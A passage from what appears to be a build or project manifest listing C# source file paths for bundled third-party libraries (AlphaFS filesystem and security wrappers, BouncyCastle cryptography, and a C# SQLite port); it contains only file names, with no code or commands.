Methods\\Path.LocalToUncCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.RemoveTrailingDirectorySeparatorCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.AddTrailingDirectorySeparator.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.ChangeExtension.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.Combine.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.Constants.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetDirectoryName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetDirectoryNameWithoutRoot.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetDirectoryNameWithoutRootTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetExtension.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetFileName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetFileNameWithoutExtension.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetFinalPathNameByHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetFullPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetFullPathTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetInvalidFileNameChars.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetInvalidPathChars.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetLongFrom83ShortPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetLongFrom83ShortPathTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetLongPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetPathRoot.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetRandomFileName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetRegularPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetRelativePath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetShort83Path.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetShort83PathTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetSuffixedDirectoryName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetSuffixedDirectoryNameTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetSuffixedDirectoryNameWithoutRoot.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetSuffixedDirectoryNameWithoutRootTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetTempFileName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetTempPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.HasExtension.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.Helpers.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.IsLogicalDrive.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.IsLongPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.IsPathRooted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.IsUncPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.IsValidName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.LocalToUnc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.RemoveTrailingDirectorySeparator.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Shell32.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Shell32Info.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\CopyMoveProgressCallbackReason.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\CopyMoveProgressResult.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\CopyOptions.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\DeviceGuid.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\DiGetClassFlags.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\DirectoryEnumerationFilters.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\DirectoryEnumerationOptions.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\DosDeviceAttributes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\EncryptedFileRawMode.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\ErrorMode.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\ExtendedFileAttributes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\FileEncryptionStatus.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\FileIdInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\FinalPathFormats.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\GetFullPathOptions.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\MoveOptions.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\PathFormat.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\ReparsePointTag.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\SetupDiGetDeviceRegistryPropertyEnum.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\StreamAttribute.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\StreamId.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\SymbolicLinkTarget.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\SymbolicLinkType.cs"},{"SourceFile":"3rdParty\\AlphaFS\\NativeError.cs"},{"SourceFile":"3rdParty\\AlphaFS\\OperatingSystem.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Resources.Designer.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeCmConnectMachineHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeEncryptedFileRawHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeFindFileHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeFindVolumeHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeFindVolumeMountPointHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeGlobalMemoryBufferHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeKernelTransactionHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeLocalMemoryBufferHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeNativeMemoryBufferHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeSetupDiClassDevsExHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeTokenHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\CRC\\Crc32.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\CRC\\Crc64.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\CRC\\HashType.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\InternalPrivilegeEnabler.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.AdjustTokenPrivileges.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.Constants.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetNamedSecurityInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorDacl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorGroup.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorLength.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorOwner.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorSacl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetTokenInformation.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.LocalFree.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.LookupPrivilegeDisplayName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.LookupPrivilegeValue.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.OpenProcessToken.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.SetNamedSecurityInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.SetSecurityInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\Luid.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\SECURITY_DESCRIPTOR_CONTROL.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\SECURITY_INFORMATION.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\SE_OBJECT_TYPE.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\TOKEN.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\TOKEN_ELEVATION_TYPE.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\TOKEN_INFORMATION_CLASS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\TOKEN_PRIVILEGES.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Privilege.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\PrivilegeEnabler.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\ProcessContext.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\SecurityAttributes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Utils.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Win32Errors.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Encodable.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1EncodableVector.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Exception.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1InputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Null.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Object.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1OctetString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1OctetStringParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1OutputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1ParsingException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Sequence.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1SequenceParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Set.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1SetParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1StreamParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1TaggedObject.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1TaggedObjectParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Tags.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerApplicationSpecific.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerApplicationSpecificParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerBitString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerOctetString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerOctetStringParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerOutputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerSequence.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerSequenceParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerSet.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerSetParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerTaggedObject.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerTaggedObjectParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\ConstructedOctetStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\cryptopro\\CryptoProObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DefiniteLengthInputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerApplicationSpecific.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerBitString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerBmpString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerBoolean.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerEnumerated.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerExternal.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerExternalParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerGeneralizedTime.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerGeneralString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerGraphicString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerIA5String.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerInteger.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerNull.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerNumericString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerObjectIdentifier.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerOctetString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerOctetStringParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerOutputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerPrintableString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerSequence.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerSequenceParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerSet.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerSetParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerStringBase.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerT61String.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerTaggedObject.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerUniversalString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerUtcTime.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerUtf8String.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerVideotexString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerVisibleString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\gm\\GMObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\IAsn1ApplicationSpecificParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\IAsn1Choice.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\IAsn1Convertible.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\IAsn1String.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\IndefiniteLengthInputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\LimitedInputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\misc\\MiscObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\nist\\NistObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\OidTokenizer.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\pkcs\\PkcsObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\rosstandart\\RosstandartObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\teletrust\\TeleTrusTObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\ua\\UAObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\util\\FilterStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\CryptoException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\Check.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Blake2bDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Blake2sDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\CSHAKEDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\DSTU7564Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\GeneralDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\GOST3411Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\GOST3411_2012Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\GOST3411_2012_256Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\GOST3411_2012_512Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\KeccakDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\LongDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\MD2Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\MD4Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\MD5Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\NonMemoableDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\NullDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\RipeMD128Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\RipeMD160Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\RipeMD256Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\RipeMD320Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Sha1Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Sha224Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Sha256Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Sha384Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\SHA3Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Sha512Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Sha512tDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\ShakeDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\ShortenedDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\SkeinDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\SkeinEngine.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\SM3Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\TigerDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\WhirlpoolDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\XofUtils.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\engines\\AesEngine.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\engines\\Gost28147Engine.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\engines\\ThreefishEngine.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\IBlockCipher.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\InvalidCipherTextException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\IXof.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\GcmBlockCipher.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\GcmUtilities.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\gcm\\BasicGcmExponentiator.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\gcm\\IGcmExponentiator.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\gcm\\IGcmMultiplier.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\gcm\\Tables4kGcmMultiplier.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\IAeadBlockCipher.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\IAeadCipher.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\OutputLengthException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\parameters\\AeadParameters.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\parameters\\KeyParameter.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\parameters\\ParametersWithIV.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\parameters\\ParametersWithSBox.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\parameters\\SkeinParameters.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\parameters\\TweakableBlockCipherParameters.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\prng\\CryptoApiRandomGenerator.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\prng\\DigestRandomGenerator.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\prng\\IRandomGenerator.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\util\\Arrays.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\util\\Longs.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\util\\Pack.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\util\\Platform.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\util\\Times.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\DataLengthException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\ICipherParameters.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\IDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\math\\BigInteger.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\math\\raw\\Bits.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\math\\raw\\Interleave.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\oiw\\OiwObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\security\\DigestUtilities.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\security\\SecureRandom.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\security\\SecurityUtilityException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\CollectionUtilities.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\ISet.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableDictionary.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableDictionaryProxy.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableList.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableListProxy.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableSet.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableSetProxy.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\date\\DateTimeUtilities.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\encoders\\Hex.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\encoders\\HexEncoder.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\encoders\\IEncoder.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\Enums.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\IMemoable.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\io\\BaseInputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\io\\StreamOverflowException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\io\\Streams.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\MemoableResetException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\Strings.cs"},{"SourceFile":"3rdParty\\SQLite\\SQLiteDatabase.cs"},{"SourceFile":"3rdParty\\SQLite\\SQLiteVdbe.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\alter_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\analyze_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\attach_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\auth_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\backup_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\bitvec_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\btmutex_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\BtreeInt_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\btree_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\Btree_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\build_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\callback_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\complete_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\date_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\Delagates.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\delete_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\expr_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\fault_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\func_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\global_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\hash_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\Hash_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\hwtime_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\insert_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\journal_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\keywordhash_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\legacy_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\loadext_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\main_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\malloc_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\mem0_c.cs"},{"Sou